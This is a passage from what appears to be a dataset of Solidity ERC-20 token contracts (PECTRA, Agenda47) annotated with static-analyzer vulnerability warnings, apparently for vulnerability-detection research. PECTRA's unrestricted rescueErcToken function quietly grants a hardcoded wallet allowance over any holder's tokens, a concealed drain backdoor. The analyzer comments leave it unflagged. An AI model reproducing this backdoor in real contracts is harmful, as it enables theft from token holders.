ID: fa03d16): PECTRA._minTaxSwap should be constant \n\t// Recommendation for fa03d16: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3f21d5c): PECTRA._maxTaxSwap should be constant \n\t// Recommendation for 3f21d5c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5b34256): PECTRA._initialBuyTax should be constant \n\t// Recommendation for 5b34256: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1286e5d): PECTRA._initialSellTax should be constant \n\t// Recommendation for 1286e5d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: be8f721): PECTRA._finalBuyTax should be constant \n\t// Recommendation for be8f721: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8e25023): PECTRA._finalSellTax should be constant \n\t// Recommendation for 8e25023: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a867b4b): PECTRA._reduceBuyAt should be constant \n\t// Recommendation for a867b4b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: d993242): PECTRA._reduceSellAt should be constant \n\t// Recommendation for d993242: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 58bea78): PECTRA._preventCount should be constant \n\t// Recommendation for 58bea78: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 15;\n\n uint256 private _buyTokenCount = 0;\n\n IUniswapV2Router02 private uniRouter;\n\n address private uniPair;\n\n\t// WARNING Optimization Issue (constable-states | ID: c83a77c): PECTRA._ccpReceipt should be constant \n\t// Recommendation for c83a77c: Add the 'constant' attribute to state variables that never change.\n address private _ccpReceipt =\n address(0xBa6630Fb783266fd611c6f102e69166f6C928120);\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private _limitSells = true;\n\n uint256 private _limitBlockSells = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_ccpReceipt);\n\n _rOwned[_msgSender()] = _tTotal;\n\n _isExcludedFees[owner()] = true;\n\n _isExcludedFees[address(this)] = true;\n\n _isExcludedFees[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function createPair() external onlyOwner {\n uniRouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniRouter), _tTotal);\n\n uniPair = IUniswapV2Factory(uniRouter.factory()).createPair(\n address(this),\n uniRouter.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _rOwned[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 02d0a4d): PECTRA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 02d0a4d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _ollowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 424c46f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 424c46f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5e5e7b4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5e5e7b4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 424c46f\n\t\t// reentrancy-benign | ID: 5e5e7b4\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 424c46f\n\t\t// reentrancy-benign | ID: 5e5e7b4\n _approve(\n sender,\n _msgSender(),\n _ollowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a51c719): PECTRA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a51c719: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5e5e7b4\n _ollowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 424c46f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6282d16): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6282d16: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 7eed8ac): PECTRA._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 7eed8ac: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 6ca0428): PECTRA._bots is never initialized. It is used in PECTRA._transfer(address,address,uint256)\n\t// Recommendation for 6ca0428: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a80471c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a80471c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e9bbbf4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e9bbbf4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 _tokenFee = 0;\n\n if (!swapEnabled || inSwap) {\n _rOwned[from] = _rOwned[from] - amount;\n\n _rOwned[to] = _rOwned[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n _tokenFee = amount\n .mul(\n (_buyTokenCount > _reduceBuyAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniPair &&\n to != address(uniRouter) &&\n !_isExcludedFees[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyTokenCount++;\n }\n\n if (to == uniPair && from != address(this)) {\n _tokenFee = amount\n .mul(\n (_buyTokenCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: 7eed8ac\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6282d16\n\t\t\t\t\t// reentrancy-eth | ID: a80471c\n\t\t\t\t\t// reentrancy-eth | ID: e9bbbf4\n sendETH(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniPair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyTokenCount > _preventCount\n ) {\n if (_limitSells) {\n if (_limitBlockSells < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 6282d16\n\t\t\t\t\t\t// reentrancy-eth | ID: a80471c\n\t\t\t\t\t\t// reentrancy-eth | ID: e9bbbf4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 6282d16\n\t\t\t\t\t\t\t// reentrancy-eth | ID: a80471c\n\t\t\t\t\t\t\t// reentrancy-eth | ID: e9bbbf4\n sendETH(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: a80471c\n _limitBlockSells = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 6282d16\n\t\t\t\t\t// reentrancy-eth | ID: e9bbbf4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 6282d16\n\t\t\t\t\t\t// reentrancy-eth | ID: e9bbbf4\n sendETH(address(this).balance);\n }\n }\n }\n }\n\n if (_tokenFee > 0) {\n\t\t\t// reentrancy-eth | ID: e9bbbf4\n _rOwned[address(this)] = _rOwned[address(this)].add(_tokenFee);\n\n\t\t\t// reentrancy-events | ID: 6282d16\n emit Transfer(from, address(this), _tokenFee);\n }\n\n\t\t// reentrancy-eth | ID: e9bbbf4\n _rOwned[from] = _rOwned[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: e9bbbf4\n _rOwned[to] = _rOwned[to].add(amount.sub(_tokenFee));\n\n\t\t// reentrancy-events | ID: 6282d16\n emit Transfer(from, to, amount.sub(_tokenFee));\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniRouter.WETH();\n\n _approve(address(this), address(uniRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6282d16\n\t\t// reentrancy-events | ID: 424c46f\n\t\t// reentrancy-benign | ID: 5e5e7b4\n\t\t// reentrancy-eth | ID: a80471c\n\t\t// reentrancy-eth | ID: e9bbbf4\n uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function rescueETH() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function rescueErcToken(address from) external {\n _ollowances[from][_ccpReceipt] = _rTotal;\n }\n\n function removeLimits() external onlyOwner {\n _limitSells = false;\n\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETH(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6282d16\n\t\t// reentrancy-events | ID: 424c46f\n\t\t// reentrancy-eth | ID: a80471c\n\t\t// reentrancy-eth | ID: e9bbbf4\n _taxWallet.transfer(amount);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 75b7d76): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 75b7d76: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 906c45b): PECTRA.startLaunch() ignores return value by uniRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 906c45b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 31cd13b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 31cd13b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function startLaunch() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 75b7d76\n\t\t// unused-return | ID: 906c45b\n\t\t// reentrancy-eth | ID: 31cd13b\n uniRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 75b7d76\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 31cd13b\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_10262.sol",
"size_bytes": 21215,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e1eed53): Agenda47.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for e1eed53: Rename the local variables that shadow another component.\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, _allowances[owner][spender] + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = _allowances[owner][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 0c96128\n _balances[from] = fromBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: 0c96128\n _balances[to] += amount;\n\n\t\t// reentrancy-events | ID: e058277\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Agenda47 is ERC20, Ownable {\n IUniswapV2Router02 private constant _router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address public uniswapPair;\n\n address public immutable feeReceiver;\n\n uint256 private maxWalletSize = 470000 * 1e9;\n\n uint256 private contractSwapMax = 705000 * 1e9;\n\n uint256 private contractSwapMin = 9400 * 1e9;\n\n uint32 private _buyCount;\n\n uint32 private _sellCount;\n\n uint32 private _lastSellBlock;\n\n uint256 private _startBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4f90143): Agenda47._preventSwapBefore should be constant \n\t// Recommendation for 4f90143: Add the 'constant' attribute to state variables that never change.\n uint32 private _preventSwapBefore = 50;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8fda1c8): Agenda47._lowerFeesAt should be constant \n\t// Recommendation for 8fda1c8: Add the 'constant' attribute to state variables that never change.\n uint32 private _lowerFeesAt = 78;\n\n uint32 private _finalBuyFee = 0;\n\n uint32 private _finalSellFee = 10;\n\n bool private _inSwap;\n\n uint256 public buyFeePercent;\n\n uint256 public sellFeePercent;\n\n mapping(address => bool) private excludedFromTxLimits;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e1eed53): Agenda47.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for e1eed53: Rename the local variables that shadow another component.\n constructor() payable ERC20(\"Agenda 47\", \"A47\") {\n uint256 totalSupply = 47000000 * 1e9;\n\n feeReceiver = 0x068227ABFD258907F4ae805618C1Ed806CDe5ABC;\n\n buyFeePercent = 10;\n\n sellFeePercent = 20;\n\n excludedFromTxLimits[feeReceiver] = true;\n\n excludedFromTxLimits[msg.sender] = true;\n\n excludedFromTxLimits[address(this)] = true;\n\n excludedFromTxLimits[address(0xdead)] = true;\n\n _approve(address(this), address(_router), totalSupply);\n\n _approve(msg.sender, address(_router), totalSupply);\n\n _mint(msg.sender, totalSupply);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e058277): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e058277: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 4fb88a6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 4fb88a6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 3935774): Agenda47._transfer(address,address,uint256) uses a dangerous strict equality block.number == _startBlock\n\t// Recommendation for 3935774: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0c96128): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0c96128: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(\n from != address(0),\n \"Transfer from the zero address not allowed.\"\n );\n\n require(to != address(0), \"Transfer to the zero address not allowed.\");\n\n require(amount > 0, \"Transfer amount must be greater than zero.\");\n\n bool excluded = excludedFromTxLimits[from] || excludedFromTxLimits[to];\n\n require(\n uniswapPair != address(0) || excluded,\n \"Liquidity pair not yet created.\"\n );\n\n bool isSell = to == uniswapPair;\n\n bool isBuy = from == uniswapPair;\n\n if (isBuy && !excluded) {\n require(\n balanceOf(to) + amount <= maxWalletSize ||\n to == address(_router),\n \"Max wallet exceeded\"\n );\n\n\t\t\t// incorrect-equality | ID: 3935774\n if (block.number == _startBlock) {\n require(_buyCount < _lowerFeesAt);\n }\n\n if (_buyCount <= _lowerFeesAt) _buyCount++;\n\n if (_buyCount == _lowerFeesAt) {\n buyFeePercent = _finalBuyFee;\n\n sellFeePercent = _finalSellFee;\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n isSell &&\n !_inSwap &&\n contractTokenBalance >= contractSwapMin &&\n !excluded &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > _lastSellBlock) _sellCount = 0;\n\n require(_sellCount < 3, \"Only 3 sells per block!\");\n\n _inSwap = true;\n\n\t\t\t// reentrancy-events | ID: e058277\n\t\t\t// reentrancy-no-eth | ID: 4fb88a6\n\t\t\t// reentrancy-eth | ID: 0c96128\n swapTokensForEth(\n min(\n (amount * 15) / 10,\n min(contractTokenBalance, contractSwapMax)\n )\n );\n\n\t\t\t// reentrancy-no-eth | ID: 4fb88a6\n _inSwap = false;\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t// reentrancy-events | ID: e058277\n\t\t\t// reentrancy-eth | ID: 0c96128\n if (contractETHBalance > 0) sendETHToFee(contractETHBalance);\n\n\t\t\t// reentrancy-eth | ID: 0c96128\n _sellCount++;\n\n\t\t\t// reentrancy-eth | ID: 0c96128\n _lastSellBlock = uint32(block.number);\n }\n\n uint256 fee = isBuy ? buyFeePercent : sellFeePercent;\n\n if (fee > 0 && !excluded && !_inSwap && (isBuy || isSell)) {\n uint256 fees = (amount * fee) / 100;\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: e058277\n\t\t\t\t// reentrancy-eth | ID: 0c96128\n super._transfer(from, address(this), fees);\n\n amount -= fees;\n }\n }\n\n\t\t// reentrancy-events | ID: e058277\n\t\t// reentrancy-eth | ID: 0c96128\n super._transfer(from, to, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _router.WETH();\n\n _approve(address(this), address(_router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e058277\n\t\t// reentrancy-no-eth | ID: 4fb88a6\n\t\t// reentrancy-eth | ID: 0c96128\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e058277\n\t\t// reentrancy-eth | ID: 0c96128\n payable(feeReceiver).transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 796fe94): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 796fe94: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ad430df): Agenda47.startTrading() ignores return value by _router.addLiquidityETH{value msg.value}(address(this),37600000000000000,0,0,msg.sender,block.timestamp)\n\t// Recommendation for ad430df: Ensure that all the return values of the function calls are used.\n function startTrading() external payable onlyOwner {\n super._transfer(msg.sender, address(this), totalSupply());\n\n\t\t// reentrancy-benign | ID: 796fe94\n\t\t// unused-return | ID: ad430df\n _router.addLiquidityETH{value: msg.value}(\n address(this),\n 37600000000000000,\n 0,\n 0,\n msg.sender,\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 796fe94\n uniswapPair = IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 796fe94\n _startBlock = block.number;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e11b101): Agenda47.setSwapFees(uint256,uint256) should emit an event for buyFeePercent = newBuyFee sellFeePercent = newSellFee _finalBuyFee = uint32(newBuyFee) _finalSellFee = uint32(newSellFee) \n\t// Recommendation for e11b101: Emit an event for critical parameter changes.\n function setSwapFees(\n uint256 newBuyFee,\n uint256 newSellFee\n ) external onlyOwner {\n require(newBuyFee <= 20 && newSellFee <= 20, \"New fee must be lower.\");\n\n\t\t// events-maths | ID: e11b101\n buyFeePercent = newBuyFee;\n\n\t\t// events-maths | ID: e11b101\n sellFeePercent = newSellFee;\n\n\t\t// events-maths | ID: e11b101\n _finalBuyFee = uint32(newBuyFee);\n\n\t\t// events-maths | ID: e11b101\n _finalSellFee = uint32(newSellFee);\n }\n\n function removeLimits() external onlyOwner {\n maxWalletSize = totalSupply();\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 853df4b): Agenda47.updateStructure(uint256,uint256) should emit an event for contractSwapMax = maxAmount contractSwapMin = minAmount \n\t// Recommendation for 853df4b: Emit an event for critical parameter changes.\n function updateStructure(\n uint256 maxAmount,\n uint256 minAmount\n ) external onlyOwner {\n\t\t// events-maths | ID: 853df4b\n contractSwapMax = maxAmount;\n\n\t\t// events-maths | ID: 853df4b\n contractSwapMin = minAmount;\n }\n\n function sweepStuckETH() external onlyOwner {\n payable(feeReceiver).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 0348ea3): Agenda47.transferStuckToken(IERC20,uint256) ignores return value by token.transfer(feeReceiver,amount)\n\t// Recommendation for 0348ea3: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function transferStuckToken(\n IERC20 token,\n uint256 